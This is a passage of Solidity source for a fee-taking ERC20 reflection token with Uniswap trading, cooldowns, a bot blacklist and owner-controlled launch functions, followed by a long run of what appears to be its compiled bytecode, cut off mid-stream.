_impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(2)).div(10); _teamFee = (_impactFee.mul(8)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 2; _teamFee = 8; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function isBlackListed(address account) public view returns (bool) { return _isBlackListedBot[account]; } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } }
0x60806040526004361061016a5760003560e01c8063715018a6116100d1578063a9fc35a91161008a578063db92dbb611610064578063db92dbb614610511578063dd62ed3e1461053c578063e47d606014610579578063e8078d94146105b657610171565b8063a9fc35a9146104a6578063c3c8cd80146104e3578063c9567bf9146104fa57610171565b8063715018a6146103a85780637ded4d6a146103bf5780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063a985ceef1461047b57610171565b80634303443d116101235780634303443d1461029c57806345596e2e146102c55780635932ead1146102ee57806368a3a6a5146103175780636fc3eaec1461035457806370a082311461036b57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd1461020957806327f3a72a14610246578063313ce5671461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105cd565b6040516101989190613778565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190613219565b61060a565b6040516101d5919061375d565b60405180910390f35b3480156101ea57600080fd5b506101f3610628565b60405161020091906139ba565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b91906131c6565b610639565b60405161023d919061375d565b60405180910390f35b34801561025257600080fd5b5061025b610712565b60405161026891906139ba565b60405180910390f35b34801561027d57600080fd5b50610286610722565b6040516102939190613a2f565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be919061312c565b61072b565b005b3480156102d157600080fd5b506102ec60048036038101906102e791906132b3565b61098e565b005b3480156102fa57600080fd5b5061031560048036038101906103109190613259565b610a75565b005b34801561032357600080fd5b5061033e6004803603810190610339919061312c565b610b6d565b60405161034b91906139ba565b60405180910390f35b34801561036057600080fd5b50610369610bc4565b005b34801561037757600080fd5b50610392600480360381019061038d919061312c565b610c36565b60405161039f91906139ba565b60405180910390f35b3480156103b457600080fd5b506103bd610c87565b005b3480156103cb57600080fd5b506103e660048036038101906103e1919061312c565b610dda565b005b3480156103f457600080fd5b506103fd6110e4565b60405161040a919061368f565b60405180910390f35b34801561041f57600080fd5b5061042861110d565b6040516104359190613778565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190613219565b61114a565b604051610472919061375d565b60405180910390f35b34801561048757600080fd5b50610490611168565b60405161049d919061375d565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c8919061312c565b61117f565b6040516104da91906139ba565b60405180910390f35b3480156104ef57600080fd5b506104f86111d6565b005b34801561050657600080fd5b5061050f611250565b005b34801561051d57600080fd5b50610526611314565b60405161053391906139ba565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613186565b611346565b60405161057091906139ba565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b919061312c565b6113cd565b6040516105ad919061375d565b60405180910390f35b3480156105c257600080fd5b506105cb611423565b005b60606040518060400160405280600381526020017f746b730000000000000000000000000000000000000000000000000000000000815250905090565b600061061e610617611933565b848461193b565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610646848484611b06565b61070784610652611933565b6107028560405180606001604052806028815260200161424460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b8611933565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d09092919063ffffffff16565b61193b565b600190509392505050565b600061071d30610c36565b905090565b60006009905090565b610733611933565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b7906138ba565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083a9061391a565b60405180910390fd5b601860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c79061385a565b60405180910390fd5b6001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506019819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109cf611933565b73ffffffffffffffffffffffffffffffffffffffff16146109ef57600080fd5b60338110610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a299061383a565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b54604051610a6a91906139ba565b60405180910390a150565b610a7d611933565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b01906138ba565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff16604051610b62919061375d565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610bbd9190613b80565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c05611933565b73ffffffffffffffffffffffffffffffffffffffff1614610c2557600080fd5b6000479050610c3381612434565b50565b6000610c80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252f565b9050919050565b610c8f611933565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d13906138ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de2611933565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e66906138ba565b60405180910390fd5b601860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef2906138fa565b60405180910390fd5b60005b6019805490508110156110e0578173ffffffffffffffffffffffffffffffffffffffff1660198281548110610f3657610f35613d55565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110cd5760196001601980549050610f919190613b80565b81548110610fa257610fa1613d55565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660198281548110610fe157610fe0613d55565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601980548061109357611092613d26565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556110e0565b80806110d890613c4e565b915050610efe565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f746b730000000000000000000000000000000000000000000000000000000000815250905090565b600061115e611157611933565b8484611b06565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154426111cf9190613b80565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611217611933565b73ffffffffffffffffffffffffffffffffffffffff161461123757600080fd5b600061124230610c36565b905061124d8161259d565b50565b611258611933565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dc906138ba565b60405180910390fd5b60016014806101000a81548160ff02191690831515021790555060784261130c9190613a9f565b601581905550565b6000611341601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c36565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61142b611933565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af906138ba565b60405180910390fd5b60148054906101000a900460ff1615611506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fd9061397a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115dc57600080fd5b505afa1580156115f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116149190613159565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167657600080fd5b505afa15801561168a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ae9190613159565b6040518363ffffffff1660e01b81526004016116cb9291906136aa565b602060405180830381600087803b1580156116e557600080fd5b505af11580156116f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171d9190613159565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a630610c36565b6000806117b16110e4565b426040518863ffffffff1660e01b81526004016117d3969594939291906136fc565b6060604051808303818588803b1580156117ec57600080fd5b505af1158015611800573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061182591906132e0565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118dd9291906136d3565b602060405180830381600087803b1580156118f757600080fd5b505af115801561190b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192f9190613286565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a29061395a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a12906137da565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611af991906139ba565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d9061393a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdd9061379a565b60405180910390fd5b60008111611c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c20906138da565b60405180910390fd5b611c316110e4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c9f5750611c6f6110e4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561230d57601460159054906101000a900460ff1615611da557600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611da4576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e505750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ea65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120795760148054906101000a900460ff16611ef8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eef9061399a565b60405180910390fd5b60026009819055506008600a81905550601460159054906101000a900460ff161561200f5742601554111561200e57601054811115611f3657600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb1906137fa565b60405180910390fd5b602d42611fc79190613a9f565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff161561207857600f426120319190613a9f565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061208430610c36565b9050601460169054906101000a900460ff161580156120f15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612107575060148054906101000a900460ff165b1561230b57601460159054906101000a900460ff16156121a65742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106121a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219c9061387a565b60405180910390fd5b5b601460179054906101000a900460ff16156122305760006121d2600c548461282590919063ffffffff16565b905061222361221484612206601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c36565b6128a090919063ffffffff16565b826128fe90919063ffffffff16565b905061222e81612948565b505b60008111156122f15761228b606461227d600b5461226f601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c36565b61282590919063ffffffff16565b6128fe90919063ffffffff16565b8111156122e7576122e460646122d6600b546122c8601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c36565b61282590919063ffffffff16565b6128fe90919063ffffffff16565b90505b6122f08161259d565b5b600047905060008111156123095761230847612434565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123b45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123be57600090505b6123ca848484846129ff565b50505050565b6000838311158290612418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240f9190613778565b60405180910390fd5b50600083856124279190613b80565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124846002846128fe90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124af573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125006002846128fe90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561252b573d6000803e3d6000fd5b5050565b6000600754821115612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d906137ba565b60405180910390fd5b6000612580612a2c565b905061259581846128fe90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156125d5576125d4613d84565b5b6040519080825280602002602001820160405280156126035781602001602082028036833780820191505090505b509050308160008151811061261b5761261a613d55565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156126bd57600080fd5b505afa1580156126d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126f59190613159565b8160018151811061270957612708613d55565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061277030601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193b565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127d49594939291906139d5565b600060405180830381600087803b1580156127ee57600080fd5b505af1158015612802573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b600080831415612838576000905061289a565b600082846128469190613b26565b90508284826128559190613af5565b14612895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288c9061389a565b60405180910390fd5b809150505b92915050565b60008082846128af9190613a9f565b9050838110156128f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128eb9061381a565b60405180910390fd5b8091505092915050565b600061294083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a57565b905092915050565b6000600a9050600a82101561296057600a9050612977565b60288211156129725760289050612976565b8190505b5b600061298d600283612aba90919063ffffffff16565b146129a157808061299d90613c4e565b9150505b6129c8600a6129ba60028461282590919063ffffffff16565b6128fe90919063ffffffff16565b6009819055506129f5600a6129e760088461282590919063ffffffff16565b6128fe90919063ffffffff16565b600a819055505050565b80612a0d57612a0c612b04565b5b612a18848484612b47565b80612a2657612a25612d12565b5b50505050565b6000806000612a39612d26565b91509150612a5081836128fe90919063ffffffff16565b9250505090565b60008083118290612a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a959190613778565b60405180910390fd5b5060008385612aad9190613af5565b9050809150509392505050565b6000612afc83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612d88565b905092915050565b6000600954148015612b1857506000600a54145b15612b2257612b45565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612b5987612de6565b955095509550955095509550612bb786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e4e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c4c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c9881612e98565b612ca28483612f55565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612cff91906139ba565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea000009050612d5c683635c9adc5dea000006007546128fe90919063ffffffff16565b821015612d7b57600754683635c9adc5dea00000935093505050612d84565b81819350935050505b9091565b6000808314158290612dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dc79190613778565b60405180910390fd5b508284612ddd9190613c97565b90509392505050565b6000806000806000806000806000612e038a600954600a54612f8f565b9250925092506000612e13612a2c565b90506000806000612e268e878787613025565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612e9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123d0565b905092915050565b6000612ea2612a2c565b90506000612eb9828461282590919063ffffffff16565b9050612f0d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612f6a82600754612e4e90919063ffffffff16565b600781905550612f85816008546128a090919063ffffffff16565b6008819055505050565b600080600080612fbb6064612fad888a61282590919063ffffffff16565b6128fe90919063ffffffff16565b90506000612fe56064612fd7888b61282590919063ffffffff16565b6128fe90919063ffffffff16565b9050600061300e82613000858c612e4e90919063ffffffff16565b612e4e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061303e858961282590919063ffffffff16565b90506000613055868961282590919063ffffffff16565b9050600061306c878961282590919063ffffffff16565b90506000613095826130878587612e4e90919063ffffffff16565b612e4e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506130bd816141fe565b92915050565b6000815190506130d2816141fe565b92915050565b6000813590506130e781614215565b92915050565b6000815190506130fc81614215565b92915050565b6000813590506131118161422c565b92915050565b6000815190506131268161422c565b92915050565b60006020828403121561314257613